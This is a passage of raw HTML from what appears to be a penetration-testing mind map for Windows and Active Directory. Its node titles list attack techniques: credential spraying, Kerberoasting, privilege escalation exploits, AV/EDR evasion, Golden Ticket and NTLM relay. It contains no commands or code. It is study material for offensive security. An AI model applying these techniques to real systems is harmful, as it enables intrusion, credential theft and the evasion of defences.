style="left:8780px;top:9025px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">(Spray) credentials</div><div class="nodeSub_aDGv">Discover more</div></div></div></div><div class="node_UsvS" style="left:8180px;top:7433px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Check permission of the user</div><div class="nodeSub_aDGv">Branch</div></div></div></div><div class="node_UsvS" style="left:8780px;top:7170px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">GenericAll</div><div class="nodeSub_aDGv">Check permission of the user</div></div></div></div><div class="node_UsvS" style="left:8780px;top:7345px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">ForceChangePassword</div><div class="nodeSub_aDGv">Check permission of the user</div></div></div></div><div class="node_UsvS" style="left:8780px;top:7520px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">GenericWrite / Kerberoasting</div><div class="nodeSub_aDGv">Check permission of the user</div></div></div></div><div class="node_UsvS" style="left:11320px;top:9620px;--node-accent:#3ecf7a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Transfer files</div><div class="nodeSub_aDGv">Branch</div></div></div></div><div class="node_UsvS" style="left:700px;top:9095px;--node-accent:#8b93a7"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Use RottenPotato with meterpreter</div><div class="nodeSub_aDGv">Branch</div></div></div></div><div class="node_UsvS" style="left:4440px;top:8955px;--node-accent:#8b93a7"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">From other enumeration</div><div class="nodeSub_aDGv">Branch</div></div></div></div><div class="node_UsvS" style="left:4440px;top:8465px;--node-accent:#f0c000"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">User Enumeration After New Access / Lateral Movement</div><div class="nodeSub_aDGv">Branch</div></div></div></div><div class="node_UsvS" style="left:5040px;top:8290px;--node-accent:#f0c000"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Pass-the-Hash (PtH)</div><div class="nodeSub_aDGv">Lateral Movement</div></div></div></div><div class="node_UsvS" style="left:5040px;top:8465px;--node-accent:#f0c000"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Get accounts with SPN</div><div class="nodeSub_aDGv">User Enumeration After New Access / Lateral Movement</div></div></div></div><div class="node_UsvS" style="left:5040px;top:8640px;--node-accent:#f0c000"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Get AS-REP hash</div><div class="nodeSub_aDGv">User Enumeration After New Access / Lateral Movement</div></div></div></div><div class="node_UsvS" style="left:11320px;top:7748px;--node-accent:#2ec4b6"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Persistence / post admin access</div><div class="nodeSub_aDGv">Branch</div></div></div></div><div class="node_UsvS" style="left:11920px;top:7485px;--node-accent:#2ec4b6"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Create local admin user</div><div class="nodeSub_aDGv">Persistence / post admin access</div></div></div></div><div class="node_UsvS" style="left:11920px;top:7660px;--node-accent:#2ec4b6"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Enable RDP</div><div class="nodeSub_aDGv">Persistence / post admin access</div></div></div></div><div class="node_UsvS" style="left:11920px;top:7835px;--node-accent:#2ec4b6"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Connect to RDP</div><div class="nodeSub_aDGv">Persistence / post admin access</div></div></div></div><div class="node_UsvS" style="left:11920px;top:8010px;--node-accent:#2ec4b6"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Turn off firewall</div><div class="nodeSub_aDGv">Persistence / post admin access</div></div></div></div><div class="node_UsvS" style="left:11320px;top:9935px;--node-accent:#2ec4b6"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">File Transfer (Windows)</div><div class="nodeSub_aDGv">Basics</div></div></div></div><div class="node_UsvS" style="left:700px;top:9410px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">enum4linux-ng / NetBIOS</div><div class="nodeSub_aDGv">Information Gathering</div></div></div></div><div class="node_UsvS" style="left:4440px;top:9270px;--node-accent:#f0c000"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">GPP passwords</div><div class="nodeSub_aDGv">Password Attacks</div></div></div></div><div class="node_UsvS" style="left:8180px;top:9970px;--node-accent:#f0c000"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Kerbrute</div><div class="nodeSub_aDGv">Password Attacks</div></div></div></div><div class="node_UsvS" style="left:11320px;top:10250px;--node-accent:#d2a8ff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AD CS / Certipy</div><div class="nodeSub_aDGv">Post Exploitation</div></div></div></div><div class="node_UsvS" style="left:700px;top:9725px;--node-accent:#d2a8ff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Shadow Credentials</div><div class="nodeSub_aDGv">Post Exploitation</div></div></div></div><div class="node_UsvS" style="left:4440px;top:9585px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Rubeus</div><div class="nodeSub_aDGv">Kerberos</div></div></div></div><div class="node_UsvS" style="left:8180px;top:10285px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Seatbelt / PrivescCheck / JAWS</div><div class="nodeSub_aDGv">Windows enum</div></div></div></div><div class="node_UsvS" style="left:11320px;top:10565px;--node-accent:#3ecf7a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">powercat / RunasCs</div><div class="nodeSub_aDGv">Shell helpers</div></div></div></div><div class="node_UsvS" style="left:11320px;top:4178px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Local Privilege Escalation</div><div class="nodeSub_aDGv">Branch — user → admin/SYSTEM</div></div></div></div><div class="node_UsvS" style="left:11920px;top:3390px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Unquoted service path</div><div class="nodeSub_aDGv">Local Privilege Escalation</div></div></div></div><div class="node_UsvS" style="left:11920px;top:3565px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Modifiable service / weak DACL</div><div class="nodeSub_aDGv">Local Privilege Escalation</div></div></div></div><div class="node_UsvS" style="left:11920px;top:3740px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AlwaysInstallElevated</div><div class="nodeSub_aDGv">Local Privilege Escalation</div></div></div></div><div class="node_UsvS" style="left:11920px;top:3915px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Writable scheduled task</div><div class="nodeSub_aDGv">Local Privilege Escalation</div></div></div></div><div class="node_UsvS" style="left:11920px;top:4090px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Stored credentials (cmdkey / vault)</div><div class="nodeSub_aDGv">Local Privilege Escalation</div></div></div></div><div class="node_UsvS" style="left:11920px;top:4265px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AutoLogon registry creds</div><div class="nodeSub_aDGv">Local Privilege Escalation</div></div></div></div><div class="node_UsvS" style="left:11920px;top:4440px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">DLL hijack / PATH interception</div><div class="nodeSub_aDGv">Local Privilege Escalation</div></div></div></div><div class="node_UsvS" style="left:11920px;top:4615px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Kernel exploit (Windows CVE)</div><div class="nodeSub_aDGv">Local Privilege Escalation</div></div></div></div><div class="node_UsvS" style="left:11920px;top:4790px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">UAC bypass (medium → high integrity)</div><div class="nodeSub_aDGv">Local Privilege Escalation</div></div></div></div><div class="node_UsvS" style="left:11920px;top:4965px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">HiveNightmare (CVE-2021-36934)</div><div class="nodeSub_aDGv">Local Privilege Escalation</div></div></div></div><div class="node_UsvS" style="left:8180px;top:9655px;--node-accent:#4b9fff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">SMB / NFS misconfig (Windows)</div><div class="nodeSub_aDGv">Recon + LPE</div></div></div></div><div class="node_UsvS" style="left:11920px;top:5140px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">PrintNightmare (CVE-2021-1675 / 34527)</div><div class="nodeSub_aDGv">Local Privilege Escalation</div></div></div></div><div class="node_UsvS" style="left:9980px;top:450px;--node-accent:#ff5c9a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">JuicyPotato / RoguePotato</div><div class="nodeSub_aDGv">SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege</div></div></div></div><div class="node_UsvS" style="left:5640px;top:3600px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">SweetPotato / EfsPotato</div><div class="nodeSub_aDGv">Local Privilege Escalation</div></div></div></div><div class="node_UsvS" style="left:11920px;top:3215px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">PowerUp.ps1 quick wins</div><div class="nodeSub_aDGv">Local Privilege Escalation</div></div></div></div><div class="node_UsvS" style="left:9380px;top:2200px;--node-accent:#3ecf7a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Got admin / SYSTEM — post LPE</div><div class="nodeSub_aDGv">Local Privilege Escalation</div></div></div></div><div class="node_UsvS" style="left:11320px;top:6009px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AV / EDR Evasion</div><div class="nodeSub_aDGv">Branch — post-shell tradecraft</div></div></div></div><div class="node_UsvS" style="left:11920px;top:6068px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AMSI &amp; ETW bypass</div><div class="nodeSub_aDGv">AV / EDR Evasion</div></div></div></div><div class="node_UsvS" style="left:12520px;top:6068px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">C# in-memory loader</div><div class="nodeSub_aDGv">AV / EDR Evasion</div></div></div></div><div class="node_UsvS" style="left:13120px;top:5980px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Process injection &amp; syscalls</div><div class="nodeSub_aDGv">AV / EDR Evasion</div></div></div></div><div class="node_UsvS" style="left:13120px;top:6155px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AppLocker / WDAC bypass</div><div class="nodeSub_aDGv">AV / EDR Evasion</div></div></div></div><div class="node_UsvS" style="left:5640px;top:2200px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Client-side initial access</div><div class="nodeSub_aDGv">AV / EDR Evasion</div></div></div></div><div class="node_UsvS" style="left:8780px;top:7695px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">DCSync &amp; Golden Ticket</div><div class="nodeSub_aDGv">Domain dominance</div></div></div></div><div class="node_UsvS" style="left:11920px;top:6330px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">RBCD &amp; delegation abuse</div><div class="nodeSub_aDGv">Domain dominance</div></div></div></div><div class="node_UsvS" style="left:6240px;top:2200px;--node-accent:#ff8c3a"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">C2 frameworks &amp; SOCKS</div><div class="nodeSub_aDGv">AV / EDR Evasion</div></div></div></div><div class="node_UsvS" style="left:700px;top:10040px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Binary Exploit Development</div><div class="nodeSub_aDGv">Branch — Windows binary exploitation</div></div></div></div><div class="node_UsvS" style="left:1900px;top:10040px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Debuggers &amp; pattern</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:6240px;top:3950px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Stack overflow (32-bit)</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:6240px;top:4475px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">SEH overwrite</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:6240px;top:4650px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Egghunter</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:6240px;top:5175px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">DEP / ROP (VirtualProtect)</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:6240px;top:4300px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Bad chars &amp; encoders</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:6240px;top:6225px;--node-accent:#d2a8ff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">WinDbg deep debug</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:12520px;top:4615px;--node-accent:#d2a8ff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Kernel exploitation</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:1300px;top:10040px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Toolkit install</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:6240px;top:4125px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Stack overflow (64-bit)</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:2500px;top:10040px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Static analysis</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:3100px;top:10040px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Optional — Metasploit workflow</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:6240px;top:5875px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Format string</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:6240px;top:6050px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">pwntools exploit script</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:6240px;top:4825px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">ASLR bypass</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:9380px;top:8185px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Heap overview</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:5640px;top:5187px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Fuzz &amp; crash</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:6240px;top:5350px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">LFH / segment heap</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:6240px;top:5700px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">UAF / type confusion</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:6240px;top:5000px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">CFG bypass</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:6240px;top:5525px;--node-accent:#9b6dff"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Lookaside / fast allocation</div><div class="nodeSub_aDGv">Binary Exploit Development</div></div></div></div><div class="node_UsvS" style="left:4440px;top:3870px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Advanced tradecraft</div><div class="nodeSub_aDGv">Branch — APT-documented techniques</div></div></div></div><div class="node_UsvS" style="left:5040px;top:100px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Pass-the-Ticket (PtT)</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5040px;top:363px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">NTLM relay</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5040px;top:975px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Coercer / PetitPotam</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:11320px;top:8990px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">AD CS — ESC abuse</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5040px;top:1500px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">DCShadow</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5040px;top:1675px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Unconstrained delegation</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5040px;top:1850px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Golden SAML</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5040px;top:2025px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">LSASS protection bypass</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:11920px;top:5630px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Direct syscalls</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:12520px;top:5630px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">EDR unhooking</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:13120px;top:5455px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Process hollowing</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:13120px;top:5630px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Module stomping</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5040px;top:2200px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">DLL sideload / search order</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5040px;top:2375px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">COM hijack persistence</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5040px;top:2550px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">WMI event subscription</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5040px;top:2725px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">EternalBlue (MS17-010)</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:13120px;top:5805px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Early bird / APC injection</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5040px;top:2900px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Silver Ticket</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5040px;top:3075px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Skeleton Key</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5040px;top:3425px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Token impersonation</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5040px;top:4563px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">0-day discovery workflow</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5640px;top:3775px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Exploit weaponization</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5040px;top:6925px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Constrained delegation</div><div class="nodeSub_aDGv">Advanced tradecraft</div></div></div></div><div class="node_UsvS" style="left:5640px;top:275px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Relay prep &amp; signing check</div><div class="nodeSub_aDGv">NTLM relay chain</div></div></div></div><div class="node_UsvS" style="left:12520px;top:2375px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Responder (hash capture)</div><div class="nodeSub_aDGv">NTLM relay chain</div></div></div></div><div class="node_UsvS" style="left:12520px;top:2550px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">ntlmrelayx listener</div><div class="nodeSub_aDGv">NTLM relay chain</div></div></div></div><div class="node_UsvS" style="left:6240px;top:625px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">Relay → AD CS (ESC8)</div><div class="nodeSub_aDGv">NTLM relay chain</div></div></div></div><div class="node_UsvS" style="left:13120px;top:2550px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">mitm6 + IPv6 relay</div><div class="nodeSub_aDGv">NTLM relay chain</div></div></div></div><div class="node_UsvS" style="left:5640px;top:625px;--node-accent:#e63946"><div class="nodeHead_f31Q"><div class="nodeIcon_pIyT"></div><div class="nodeText_BnQy"><div class="nodeTitle_c0V2">PetitPotam (EFSR)</div><div class="nodeSub_aDGv">Coercer 